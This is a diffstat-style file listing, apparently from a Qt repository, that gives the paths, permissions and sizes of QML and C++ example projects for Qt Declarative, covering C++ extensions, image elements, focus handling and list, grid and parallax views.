-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.qrc5
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/main.cpp64
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro47
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qml/qgraphicslinearlayout/qgraphicslinearlayout.qml79
-rw-r--r--examples/declarative/cppextensions/qwidgets/QWidgets/qmldir1
-rw-r--r--examples/declarative/cppextensions/qwidgets/README6
-rw-r--r--examples/declarative/cppextensions/qwidgets/qwidgets.cpp96
-rw-r--r--examples/declarative/cppextensions/qwidgets/qwidgets.pro25
-rw-r--r--examples/declarative/cppextensions/qwidgets/qwidgets.qml110
-rw-r--r--examples/declarative/cppextensions/qwidgets/qwidgets.qmlproject16
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/adding.pro15
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/adding.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/example.qml48
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/main.cpp64
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/person.cpp68
-rw-r--r--examples/declarative/cppextensions/referenceexamples/adding/person.h65
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/attached.pro17
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/attached.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.cpp91
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h86
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/example.qml71
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/main.cpp90
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/person.cpp118
-rw-r--r--examples/declarative/cppextensions/referenceexamples/attached/person.h105
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/binding.pro19
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/binding.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.cpp113
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h102
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/example.qml77
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.cpp85
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/happybirthdaysong.h74
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/main.cpp92
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/person.cpp138
-rw-r--r--examples/declarative/cppextensions/referenceexamples/binding/person.h113
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.cpp71
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.h69
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/coercion.pro17
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/coercion.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/example.qml55
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/main.cpp77
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/person.cpp79
-rw-r--r--examples/declarative/cppextensions/referenceexamples/coercion/person.h82
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/birthdayparty.cpp71
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/birthdayparty.h70
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/default.pro17
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/default.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/example.qml54
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/main.cpp75
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/person.cpp78
-rw-r--r--examples/declarative/cppextensions/referenceexamples/default/person.h77
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/example.qml47
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/extended.pro15
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/extended.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/lineedit.cpp104
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/lineedit.h73
-rw-r--r--examples/declarative/cppextensions/referenceexamples/extended/main.cpp64
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.cpp71
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.h69
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/example.qml73
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/grouped.pro17
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/grouped.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/main.cpp85
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/person.cpp118
-rw-r--r--examples/declarative/cppextensions/referenceexamples/grouped/person.h107
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.cpp80
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h71
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/example.qml58
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/main.cpp68
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/methods.pro18
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/methods.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/person.cpp66
-rw-r--r--examples/declarative/cppextensions/referenceexamples/methods/person.h63
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.cpp73
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h75
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/example.qml55
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/main.cpp68
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/person.cpp66
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/person.h63
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/properties.pro18
-rw-r--r--examples/declarative/cppextensions/referenceexamples/properties/properties.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/referenceexamples.pro14
-rw-r--r--examples/declarative/cppextensions/referenceexamples/referenceexamples.qmlproject16
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.cpp98
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h92
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/example.qml72
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/main.cpp91
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/person.cpp118
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/person.h105
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/signal.pro17
-rw-r--r--examples/declarative/cppextensions/referenceexamples/signal/signal.qrc5
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.cpp108
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h97
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/example.qml76
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp80
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h79
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/main.cpp93
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/person.cpp118
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/person.h105
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.pro19
-rw-r--r--examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.qrc5
-rw-r--r--examples/declarative/declarative.pro32
-rw-r--r--examples/declarative/i18n/i18n.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/i18n/i18n.pro42
-rw-r--r--examples/declarative/i18n/i18n.qmlproject16
-rw-r--r--examples/declarative/i18n/i18n.svg93
-rw-r--r--examples/declarative/i18n/main.cpp54
-rw-r--r--examples/declarative/i18n/qml/i18n/base.ts12
-rw-r--r--examples/declarative/i18n/qml/i18n/i18n.qml78
-rw-r--r--examples/declarative/i18n/qml/i18n/qml_en_AU.ts12
-rw-r--r--examples/declarative/i18n/qml/i18n/qml_fr.ts12
-rw-r--r--examples/declarative/imageelements/borderimage/borderimage.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/imageelements/borderimage/borderimage.pro41
-rw-r--r--examples/declarative/imageelements/borderimage/borderimage.qmlproject16
-rw-r--r--examples/declarative/imageelements/borderimage/borderimage.svg93
-rw-r--r--examples/declarative/imageelements/borderimage/main.cpp54
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/borderimage.qml97
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/MyBorderImage.qml90
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/ShadowRectangle.qml54
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/bw.pngbin0 -> 1357 bytes
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-round.sci7
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-stretch.sci5
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/colors.pngbin0 -> 1655 bytes
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/content/shadow.pngbin0 -> 588 bytes
-rw-r--r--examples/declarative/imageelements/borderimage/qml/borderimage/shadows.qml64
-rw-r--r--examples/declarative/imageelements/image/image.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/imageelements/image/image.pro41
-rw-r--r--examples/declarative/imageelements/image/image.qmlproject16
-rw-r--r--examples/declarative/imageelements/image/image.svg93
-rw-r--r--examples/declarative/imageelements/image/main.cpp54
-rw-r--r--examples/declarative/imageelements/image/qml/image/ImageCell.qml60
-rw-r--r--examples/declarative/imageelements/image/qml/image/image.qml66
-rw-r--r--examples/declarative/imageelements/image/qml/image/qt-logo.pngbin0 -> 5149 bytes
-rw-r--r--examples/declarative/imageelements/imageelements.pro6
-rw-r--r--examples/declarative/imageelements/shadows/main.cpp54
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/borderimage.qml97
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/MyBorderImage.qml90
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/ShadowRectangle.qml54
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/bw.pngbin0 -> 1357 bytes
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/colors-round.sci7
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/colors-stretch.sci5
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/colors.pngbin0 -> 1655 bytes
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/content/shadow.pngbin0 -> 588 bytes
-rw-r--r--examples/declarative/imageelements/shadows/qml/shadows/shadows.qml64
-rw-r--r--examples/declarative/imageelements/shadows/shadows.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/imageelements/shadows/shadows.pro41
-rw-r--r--examples/declarative/imageelements/shadows/shadows.qmlproject16
-rw-r--r--examples/declarative/imageelements/shadows/shadows.svg93
-rw-r--r--examples/declarative/keyinteraction/focus/focus.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/keyinteraction/focus/focus.pro41
-rw-r--r--examples/declarative/keyinteraction/focus/focus.qmlproject16
-rw-r--r--examples/declarative/keyinteraction/focus/focus.svg93
-rw-r--r--examples/declarative/keyinteraction/focus/main.cpp54
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ContextMenu.qml65
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/GridMenu.qml105
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListMenu.qml105
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListViewDelegate.qml85
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/arrow.pngbin0 -> 583 bytes
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/FocusCore/images/qt-logo.pngbin0 -> 5149 bytes
-rw-r--r--examples/declarative/keyinteraction/focus/qml/focus/focus.qml111
-rw-r--r--examples/declarative/modelviews/abstractitemmodel/abstractitemmodel.pro40
-rw-r--r--examples/declarative/modelviews/abstractitemmodel/main.cpp66
-rw-r--r--examples/declarative/modelviews/abstractitemmodel/model.cpp90
-rw-r--r--examples/declarative/modelviews/abstractitemmodel/model.h83
-rw-r--r--examples/declarative/modelviews/abstractitemmodel/qml/abstractitemmodel/view.qml51
-rw-r--r--examples/declarative/modelviews/gridview/gridview.pro41
-rw-r--r--examples/declarative/modelviews/gridview/gridview.qmlproject16
-rw-r--r--examples/declarative/modelviews/gridview/gridview.svg93
-rw-r--r--examples/declarative/modelviews/gridview/gridviewexample.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/gridview/main.cpp54
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/gridview-example.qml89
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/AddressBook_48.pngbin0 -> 3350 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/AudioPlayer_48.pngbin0 -> 3806 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/Camera_48.pngbin0 -> 3540 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/DateBook_48.pngbin0 -> 2610 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/EMail_48.pngbin0 -> 3655 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/TodoList_48.pngbin0 -> 3429 bytes
-rw-r--r--examples/declarative/modelviews/gridview/qml/gridview-example/pics/VideoPlayer_48.pngbin0 -> 4151 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/dynamiclist.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/dynamiclist.pro41
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/dynamiclist.qmlproject16
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/dynamiclist.svg93
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/main.cpp54
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PetsModel.qml98
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/PressAndHoldButton.qml82
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/RecipesModel.qml129
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/TextButton.qml78
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-down.pngbin0 -> 594 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-up.pngbin0 -> 692 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/fruit-salad.jpgbin0 -> 17952 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/hamburger.jpgbin0 -> 8572 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/lemonade.jpgbin0 -> 6645 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/list-delete.pngbin0 -> 831 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/minus-sign.pngbin0 -> 250 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreDown.pngbin0 -> 217 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreUp.pngbin0 -> 212 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/pancakes.jpgbin0 -> 9163 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/plus-sign.pngbin0 -> 462 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/vegetable-soup.jpgbin0 -> 8639 bytes
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/dynamiclist.qml203
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/expandingdelegates.qml202
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlight.qml99
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlightranges.qml122
-rw-r--r--examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/sections.qml87
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.pro41
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.qmlproject16
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/expandingdelegates.svg93
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/main.cpp54
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PetsModel.qml98
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/PressAndHoldButton.qml82
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/RecipesModel.qml129
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/TextButton.qml78
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-down.pngbin0 -> 594 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/arrow-up.pngbin0 -> 692 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/fruit-salad.jpgbin0 -> 17952 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/hamburger.jpgbin0 -> 8572 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/lemonade.jpgbin0 -> 6645 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/list-delete.pngbin0 -> 831 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/minus-sign.pngbin0 -> 250 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreDown.pngbin0 -> 217 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/moreUp.pngbin0 -> 212 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/pancakes.jpgbin0 -> 9163 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/plus-sign.pngbin0 -> 462 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/content/pics/vegetable-soup.jpgbin0 -> 8639 bytes
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/dynamiclist.qml203
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/expandingdelegates.qml202
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlight.qml99
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/highlightranges.qml122
-rw-r--r--examples/declarative/modelviews/listview/expandingdelegates/qml/expandingdelegates/sections.qml87
-rw-r--r--examples/declarative/modelviews/listview/highlight/highlight.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/highlight.pro41
-rw-r--r--examples/declarative/modelviews/listview/highlight/highlight.qmlproject16
-rw-r--r--examples/declarative/modelviews/listview/highlight/highlight.svg93
-rw-r--r--examples/declarative/modelviews/listview/highlight/main.cpp54
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/PetsModel.qml98
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/PressAndHoldButton.qml82
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/RecipesModel.qml129
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/TextButton.qml78
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-down.pngbin0 -> 594 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-up.pngbin0 -> 692 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/fruit-salad.jpgbin0 -> 17952 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/hamburger.jpgbin0 -> 8572 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/lemonade.jpgbin0 -> 6645 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/list-delete.pngbin0 -> 831 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/minus-sign.pngbin0 -> 250 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreDown.pngbin0 -> 217 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreUp.pngbin0 -> 212 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/pancakes.jpgbin0 -> 9163 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/plus-sign.pngbin0 -> 462 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/vegetable-soup.jpgbin0 -> 8639 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/dynamiclist.qml203
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/expandingdelegates.qml202
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/highlight.qml99
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/highlightranges.qml122
-rw-r--r--examples/declarative/modelviews/listview/highlight/qml/highlight/sections.qml87
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/highlightranges.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/highlightranges.pro41
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/highlightranges.qmlproject16
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/highlightranges.svg93
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/main.cpp54
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PetsModel.qml98
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PressAndHoldButton.qml82
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/RecipesModel.qml129
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/TextButton.qml78
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-down.pngbin0 -> 594 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-up.pngbin0 -> 692 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/fruit-salad.jpgbin0 -> 17952 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/hamburger.jpgbin0 -> 8572 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/lemonade.jpgbin0 -> 6645 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/list-delete.pngbin0 -> 831 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/minus-sign.pngbin0 -> 250 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreDown.pngbin0 -> 217 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreUp.pngbin0 -> 212 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/pancakes.jpgbin0 -> 9163 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/plus-sign.pngbin0 -> 462 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/vegetable-soup.jpgbin0 -> 8639 bytes
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/dynamiclist.qml203
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/expandingdelegates.qml202
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlight.qml99
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlightranges.qml122
-rw-r--r--examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/sections.qml87
-rw-r--r--examples/declarative/modelviews/listview/listview.pro8
-rw-r--r--examples/declarative/modelviews/listview/sections/main.cpp54
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/PetsModel.qml98
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/PressAndHoldButton.qml82
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/RecipesModel.qml129
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/TextButton.qml78
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-down.pngbin0 -> 594 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-up.pngbin0 -> 692 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/fruit-salad.jpgbin0 -> 17952 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/hamburger.jpgbin0 -> 8572 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/lemonade.jpgbin0 -> 6645 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/list-delete.pngbin0 -> 831 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/minus-sign.pngbin0 -> 250 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreDown.pngbin0 -> 217 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreUp.pngbin0 -> 212 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/pancakes.jpgbin0 -> 9163 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/plus-sign.pngbin0 -> 462 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/content/pics/vegetable-soup.jpgbin0 -> 8639 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/dynamiclist.qml203
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/expandingdelegates.qml202
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/highlight.qml99
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/highlightranges.qml122
-rw-r--r--examples/declarative/modelviews/listview/sections/qml/sections/sections.qml87
-rw-r--r--examples/declarative/modelviews/listview/sections/sections.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/listview/sections/sections.pro41
-rw-r--r--examples/declarative/modelviews/listview/sections/sections.qmlproject16
-rw-r--r--examples/declarative/modelviews/listview/sections/sections.svg93
-rw-r--r--examples/declarative/modelviews/modelviews.pro16
-rw-r--r--examples/declarative/modelviews/objectlistmodel/dataobject.cpp78
-rw-r--r--examples/declarative/modelviews/objectlistmodel/dataobject.h76
-rw-r--r--examples/declarative/modelviews/objectlistmodel/main.cpp73
-rw-r--r--examples/declarative/modelviews/objectlistmodel/objectlistmodel.pro41
-rw-r--r--examples/declarative/modelviews/objectlistmodel/objectlistmodel.qmlproject16
-rw-r--r--examples/declarative/modelviews/objectlistmodel/qml/objectlistmodel/view.qml56
-rw-r--r--examples/declarative/modelviews/package/main.cpp54
-rw-r--r--examples/declarative/modelviews/package/package.pro39
-rw-r--r--examples/declarative/modelviews/package/package.qmlproject16
-rw-r--r--examples/declarative/modelviews/package/qml/package/Delegate.qml88
-rw-r--r--examples/declarative/modelviews/package/qml/package/view.qml76
-rw-r--r--examples/declarative/modelviews/parallax/main.cpp54
-rw-r--r--examples/declarative/modelviews/parallax/parallax.pro39
-rw-r--r--examples/declarative/modelviews/parallax/parallax.qmlproject16
-rw-r--r--examples/declarative/modelviews/parallax/parallax.svg93
-rw-r--r--examples/declarative/modelviews/parallax/parallax64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/parallax/parallax80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/Clock.qml54
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/ParallaxView.qml123
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/Smiley.qml84
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/parallax.qml69
